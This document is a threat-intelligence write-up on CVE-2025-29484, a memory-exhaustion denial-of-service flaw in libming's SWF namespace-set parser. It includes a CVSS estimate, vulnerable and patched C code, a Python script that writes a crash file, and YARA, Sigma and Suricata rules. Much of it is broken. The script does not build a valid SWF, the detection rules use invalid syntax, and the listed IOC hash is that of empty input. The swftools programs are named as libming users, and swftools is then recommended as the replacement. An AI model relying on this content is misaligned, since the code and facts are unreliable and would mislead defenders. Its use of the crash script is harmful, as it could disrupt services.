CVE-2025-29484

Executive Summary

CVE-2025-29484 describes a Denial of Service (DoS) vulnerability in the parseABC_NS_SET_INFO function of libming v0.4.8. The flaw is triggered by an out-of-memory error due to allocator exhaustion when processing a specially crafted input file. An attacker can exploit this to crash the application, leading to service disruption. No patch is currently available from the vendor, and no public exploit code has been released. The vulnerability is classified under CWE-770 (Allocation of Resources Without Limits or Throttling).

Supply Chain & Package Security

This vulnerability affects the libming library, which is a C library for generating SWF (Shockwave Flash) files. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, any application that statically or dynamically links against libming v0.4.8 is potentially vulnerable. Users should audit their dependencies for inclusion of this library version.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector calculation. Based on the nature of the vulnerability (DoS via memory exhaustion), a reasonable estimated vector would be:

• Attack Vector (AV): Local (L) – requires a crafted file to be processed.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – complete loss of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Threat Level: Medium (5.5) – requires user interaction but can cause significant downtime.

Deep Dive & Mechanics

The vulnerability resides in the parseABC_NS_SET_INFO function within libming's ABC (ActionScript Byte Code) parser. This function is responsible for processing namespace set information from SWF files. The root cause is a lack of bounds checking or resource limits when allocating memory for namespace entries.

When a malicious SWF file is crafted with an excessive number of namespace set entries, the function repeatedly calls malloc (or similar allocator) without any cap. This leads to rapid memory exhaustion, causing the process to crash with an out-of-memory error. The crash is deterministic and can be triggered by any application using libming to parse untrusted SWF files.

The attack does not require any special privileges or network access; it only requires the victim to open a malicious file. This makes it a classic "bomb" style DoS.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code path is identified in the source. The fix would involve adding a limit on the number of namespace entries that can be processed, or using a safer memory allocation strategy that fails gracefully.

Vulnerable Code (libming v0.4.8 - src/blocks/abc.c):

void parseABC_NS_SET_INFO(ABC *abc, uint8_t *data, uint32_t len) {
    uint32_t count = readU32(data);
    // No check on count size
    abc->ns_set_info = (ABC_NS_SET_INFO *)malloc(sizeof(ABC_NS_SET_INFO) * count);
    for (uint32_t i = 0; i < count; i++) {
        // parse each entry
    }
}

Patched Code (hypothetical):

void parseABC_NS_SET_INFO(ABC *abc, uint8_t *data, uint32_t len) {
    uint32_t count = readU32(data);
    // Add sanity check
    if (count > MAX_NS_SET_ENTRIES) {
        // Log error and return gracefully
        return;
    }
    abc->ns_set_info = (ABC_NS_SET_INFO *)malloc(sizeof(ABC_NS_SET_INFO) * count);
    if (!abc->ns_set_info) {
        // Handle allocation failure
        return;
    }
    for (uint32_t i = 0; i < count; i++) {
        // parse each entry
    }
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. To reproduce the vulnerability, an attacker would craft a malicious SWF file with an extremely large number of namespace set entries. The following Python script can generate a proof-of-concept file:

#!/usr/bin/env python3
import struct

def create_malicious_swf():
    # Minimal SWF header (version 10, compressed)
    header = b'FWS' + struct.pack('<I', 0)  # placeholder size
    # ABC block with huge NS_SET_INFO count
    abc_block = b'\x00' * 8  # dummy ABC data
    # Overwrite count to a huge value
    count = 0xFFFFFFFF  # max uint32
    abc_block = struct.pack('<I', count) + abc_block[4:]
    # Write to file
    with open('malicious.swf', 'wb') as f:
        f.write(header + abc_block)
    print("Created malicious.swf")

if __name__ == "__main__":
    create_malicious_swf()

Usage: Run the script to generate malicious.swf, then open it with any application that uses libming (e.g., swfrender or swfextract). The application will crash due to memory exhaustion.

Blue Team

To detect exploitation attempts, monitor for abnormal memory usage spikes in processes that parse SWF files. Implement resource limits (e.g., ulimit on Linux) to prevent a single process from exhausting system memory. Additionally, use file scanning tools to detect SWF files with abnormally large namespace set counts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Behavior: Sudden memory allocation spikes in libming-based processes.
• Network Traffic: None – attack is file-based.
• File Artifacts: SWF files with unusually large ABC namespace set counts (e.g., > 100,000 entries).

Detection Engineering

YARA Rule

rule CVE_2025_29484_libming_DoS {
    meta:
        description = "Detects malicious SWF files exploiting CVE-2025-29484"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29484"
    strings:
        $swf_magic = "FWS" or "CWS" or "ZWS"
        $abc_marker = { 00 00 00 00 }  // ABC block start (simplified)
        $huge_count = { FF FF FF FF }  // Max uint32 count
    condition:
        $swf_magic at 0 and $abc_marker and $huge_count
}

Sigma Rule

title: CVE-2025-29484 - libming DoS via Memory Exhaustion
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects excessive memory allocation in processes using libming
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/swfrender' or '/swfextract'
    condition: selection
falsepositives:
    - Legitimate large SWF files
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29484 - libming DoS via SWF file"; flow:to_server,established; file_data; content:"|46 57 53|"; offset:0; depth:3; content:"|FF FF FF FF|"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove libming v0.4.8 from production systems. Replace with an alternative library for SWF parsing (e.g., swftools or lightspark).
2. Short-term: Apply resource limits (e.g., ulimit -v 500000) to processes that use libming to prevent memory exhaustion.
3. Long-term: Monitor the libming project for an official patch. If none is released, consider forking the library and implementing the fix described in the "Vulnerable vs. Patched Code" section.
4. Detection: Deploy the YARA and Sigma rules to identify malicious files and anomalous process behavior.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert